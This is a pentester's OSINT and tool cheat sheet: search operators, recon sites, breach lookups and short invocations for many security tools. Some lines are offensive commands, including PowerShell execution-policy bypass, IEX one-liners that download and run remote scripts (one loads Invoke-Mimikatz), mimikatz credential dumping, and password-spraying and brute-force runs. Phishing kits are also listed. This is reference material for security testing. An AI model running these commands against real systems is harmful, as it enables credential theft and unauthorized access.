Tactical OSINT For Pentesters: OSINT CheatSheet

Advanced Search	
Google	site:target.com inurl:target.com filetype:pdf AND, OR, - , “”
Bing	ip:<*ip_address*> feed:osint
Yandex	osint date=20140808..20140810 lang:en osint mime:pdf
Reverse IP lookup	yougetsignal.com

Domain	
Domain IP history	http://viewdns.info/iphistory/?domain=<domainname>
DNS Records	https://mxtoolbox.com/SuperTool.aspx
nslookup	nslookup reconvillage.org all
dig	dig reconvillage.org dig reconvillage.org cname
Web Technology Profiling	Addons - Buildwith - Wappalyzer Job Portals Forums (stackoverflow, etc)

SubDomain Search	
DNS Dumpster	dnsdumpster.com
Wolframalpha	www.wolframalpha.com/input/?i=uber.com
Netcraft	searchdns.netcraft.com
Censys	censys.io/ipv4?q=uber.com
Shodan	www.shodan.io/search?query=uber.com
crt.sh	crt.sh/?q=%uber.com
sublist3r	python sublist3r.py -d uber.com -t 50 -b -p 80,443,21,22
massdns	massdns -r lists/resolvers.txt -t AAAA domains.txt

Company Name	
Zoominfo	zoominfo.com
Glassdoor	glassdoor.com
Hoovers	hoovers.com
Crunchbase	crunchbase.com

Email ID	
Social Profiles	dashboard.clearbit.com/lookup
Slides	www.slideshare.net/search/slideshow?q=<email_id>
Breach status	haveibeenpwned.com publicdbhost.dmca.gripe @dumpmon - twitter.com/dumpmon
Source Code aggregators	Github search Github Gist search If search not available, use Google dorks. Example- site:bitbucket.org intext:osint
Paste websites	pastebin.com psbdmp.com pastie.org Google Custom Search Engine https://inteltechniques.com/osint/pastebins.html
Email Sherlock	www.emailsherlock.com

Username	
Tweets from a location	twimap.com
Check usernames	https://gaddr.me/search?type=profiles&q=upgoingstar
Facebook OSINT	https://inteltechniques.com/osint/facebook.html
Reddit OSINT	redditsearch.io reditr.com
Twitter OSINT	sleepingtime.org crowdriff.com/riffle/ tinfoleak.com
Verified Information	keybase.io Rapportive

People Full Name	
XYZ	Advanced Google Search Operator
ABC	ABC XYZ

IP Address	
IP whois	whois -h whois.radb.net -T route <IP> whois -h whois.radb.net -- -i origin <ASN-ID> | grep -Eo "([0-9.]+){4}/[0-9]+" | sort -n | uniq -c
ASN ID	nmap --script targets-asn --script-args targets-asn.asn=<ASN-ID>
VirusTotal	virustotal.com
Robtex	robtex.com
ThreatIntel Feeds	threatfeeds.io http://thecyberthreat.com/cyber-threat-intelligence-feeds/
Shodan	shodan.io
Censys	censys.io
Zoomeye	zoomeye.org
SecurityTrails	securitytrails.com
Hurricane Labs	http://bgp.he.net/dns/

Monitoring and Alerting	
Social Media Monitor	tweetmonitor.py -k <keyword> tweetmonitor.py -k <keyword> -m <receiver_email>
Keyword Based Alerts	Google alerts
Web Site changes	www.changedetection.com follow.net Page Monitor (Chrome extension) visualping.io
Tweetdeck	tweetdeck.twitter.com

Deep and Dark Web	
The Hidden Wiki	hiddenwik55b36km.onion/index.php/Main_Page
Ahmia	ahmia.fi
Onion Cab	onion.cab/?a=search&q=<keyword>

Misc	
Search Results Clustering Engine	search.carrot2.org
Reverse Image Search	images.google.com www.tineye.com
Extract Info from Public Resources	Books Conferences Speaker Slidedeck
Metasearch Engine	www.polymeta.com
People Search Engine	pipl.com Peekyou Marketvisual
Social Search Engine	socialmention.com
Phone Number Search Engine	Truecaller
Wayback Machine	archive.org
Computational Knowledge Engine	wolframalpha.com
OSINT Mindmap	yoga.osint.ninja
OSINT Framework	osintframework.com
Public Telegram Groups	tgstat.com
Semantic Search	duckduckgo.com kgine.com
Source Code Search Engine	nerdydata.com searchcode.com
Search Engines for Hackers	censys.io shodan.io zoomeye.org fofa.so onyphe.io app.binaryedge.io hunter.io wigle.net ghostproject.fr

Some service might require signup.

Tools	

Generic Help Commands	$ ./exampletool -h
	$ ./exampletool --help
	$ python exampletool.py
	$ python3 exampletool.py
	$ sudo ./exampletool

List directory tree structure, two levels	$ tree -L 2
Find Tools (using keyword)	$ find . | grep **<keyword>** | head -n 1
Wordlists	/home/bhasia/Tools/Wordlists/

AWS CLI	**Set Environment Variables:**
	$ export AWS_ACCESS_KEY_ID=AKIAIOSXODNN7EXAMPLE
	$ export AWS_SECRET_ACCESS_KEY=wJaorXUrnWEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
	$ export AWS_DEFAULT_REGION=us-west-2
	$ aws help

GCP CLI	$ gcloud --help
Azure CLI	$ az
Powershell (Windows)	> powershell.exe Bypass Execution Policy: > powershell –ExecutionPolicy Bypass > powershell.exe -ep bypass > $Env:PSExecutionPolicyPreference = 'Bypass'
Powershell (Linux)	$ pwsh
ADRecon (powershell)	> Import-Module .\ADRecon.ps1
aiodnsbrute	$ aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com
altdns	$ ./altdns.py -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt
Anubis	$ anubis -t reddit.com
AWSBucketDump	$ python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Belati	$ ./Belati.py --help
BlackWidow	$ sudo ./blackwidow -u https://target.com
brutespray	$ python brutespray.py --file nmap.gnmap -U userlist.txt -P passlist.txt --threads 5 --hosts 5
Bucket_Enumerator	$ python parse.py urls.txt
bucket_finder	$ ./bucket_finder.rb sample_wordlist

BurpSuite	$ java -jar burpsuite.jar
carrot2-workbench-3.16.1	$ ./carrot2-workbench
censys-enumeration	$ python censys_enumeration.py domains.txt
certgraph	$ certgraph -json yandex.com
CeWL	$ ./cewl.rb http://example.com
Chameleon	$ python chameleon.py --proxy a --check --domain example.com
changeme	$ ./changeme.py 192.168.10.0/24
CloudFail	$ python3 cloudfail.py --target example.com
CloudStorageFinder	$ ./bucket_finder.rb sample_list $ ./space_finder.rb sample_list
Cr3dOv3r	$ python3 Cr3d0v3r.py test@example.com
CrackMapExec	$ crackmapexec 192.168.20.0/24 -u USERNAME -p "P@$$w0rd"
create_bucket_patterns.py	$ python create_bucket_patterns.py KEYWORD
credmap	$ python credmap.py --email test@example.com --user testexample
CredSniper	$ ./install.sh $ python credsniper.py --help
ct-exposer	$ python3 ct-exposer.py -d yandex.com
dataspoit	$ ./domainOsint.py example.com $ ./emailOsint.py test@example.com
dnscan	$ ./dnscan.py -d example.com
dns-parallel-prober	$ ./dns-queue.py example.com 100 output.txt -i subdomains-list.txt -f
dnsrecon	$ ./dnsrecon.py -d example.com
dnstwist	$ ./dnstwist.py example.com
domainhunter	$ python3 ./domainhunter.py -s example.com
email_pattern_generator.py	$ python email_pattern_generator.py John Doe example.com
enum4linux	$ enum4linux.pl -a 192.168.20.10
enumerate_tech.py	$ python enumerate_tech.py Execute find_http_https.py before this.
exiftool	$ ./exiftool sample.jpg
EyeWitness	$ ./EyeWitness -f urls_list.txt --web
find_http_https.py	$ python find_http_https.py subdomains.txt
gasmask	$ python gasmask.py -d example.com -i basic
GCPBucketBrute	$ python3 gcpbucketbrute.py -k examplebucket -u
github-dorks	$ python github-dork.py -r redhuntlabs/RedHunt-OS

gitleaks	$ gitleaks -r https://github.com/redhuntlabs/RedHunt-OS
gitrob	$ export GITROB_ACCESS_TOKEN=testsampletestsampletestsampletestsample $ gitrob https://github.com/redhuntlabs/RedHunt-OS
gophish	$ ./gophish Visit: https://127.0.0.1:3333
Infoga	$ python infoga.py --domain example.com --source all --breach -v 2 --report example_output.txt
inSp3ctor	$ python inSp3ctor.py -n example
Inveigh (powershell)	> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1") > Invoke-Inveigh -ConsoleOutput Y
john	$ ./john password_hashes
LinEnum	$ ./LinEnum.sh
LinkedInt	$ python LinkedInt.py Add linkedin credentials and Hunter.io API key in LinkedInt.py first
Maltego	$ maltego
masscan	$ masscan -p80,8000-8080 20.0.0.0/8
massdns	$ massdns -r lists/resolvers.txt -t AAAA -w results_file.txt domains_list.txt
metagoofil	$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o applefiles -f results.html
MicroBurst (powershell)	> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Invoke-EnumerateAzureSubDomains.ps1") > Invoke-EnumerateAzureSubDomains -Base example -Verbose
mimikatz	> mimikatz.exe > mimikatz # privilege::debug > mimikatz # sekurlsa::logonPasswords full
pagodo	$ python3 ghdb_scraper.py -j -s $ python3 pagodo.py -g google_dorks_20190312_103108.txt -d example.com
password_gen	$ python passwordgen.py exampleuser $ python passwordgen_fromfile.py examplefile.txt
PDF-tools	$ python pdf-parser.py pdffile.pdf
PowerSploit (powershell)	> IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubuserco

	ntent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
recon-ng	$ ./recon-ng Set API keys beforehand
robo3t	$ ./robo3t
ruler	$ ./ruler-linux32 --url http://autodiscover.example.com/autodiscover/autodiscover.xml brute --users users.txt --passwords password.txt
S3Scanner	$ python ./s3scanner.py names.txt
ScoutSuite	$ python Scout.py -h
set	$ sudo ./setoolkit
spaces-finder	$ python3 spaces_finder.py -l SpacesNames_list.txt -g interesting_keywords_list.txt -D -m 500000 -d 1 -t 5
spiderfoot	$ ./sf.py Visit http://127.0.0.1:5001
Spray	$ spray.sh -smb 192.168.0.5 users.txt passwords.txt 1 35 InternamDomain
Sticky-Keys-Slayer	$ ./stickyKeysSlayer.sh -v 192.168.0.10
subbrute	$ ./subbrute.py -p example.com
Sublist3r	$ python sublist3r.py -d example.com
TekDefense-Automater	$ python Automater.py 8.8.8.8
theHarvester	$ ./theHarvester.py -d example.com
tinfoleak	$ ./tinfoleak.py Configure twitter auth keys in tinfoleak.conf
TorBrowser	$ ./start-tor-browser.desktop
truffleHog	$ trufflehog --regex --entropy=False https://github.com/redhuntlabs/RedHunt-OS.git
Turbolist3r	$ python turbolist3r.py -d example.com
TweetMonitor	$ python tweetmonitor.py -k osint Configure twitter auth keys in the code tweetmonitor.py
tweets_analyzer	$ ./tweets_analyzer.py -n sudhanshu_c
username-anarchy	$ ./username-anarchy john doe
webscreenshot	$ python webscreenshot.py -i url_list.txt
wordlists	Common username, password and subdomain lists
WPForce	$ python wpforce.py -i usr.txt -w pass.txt -u "http://blog.example.com"
ZAP_2.7.0	$ ./zap.sh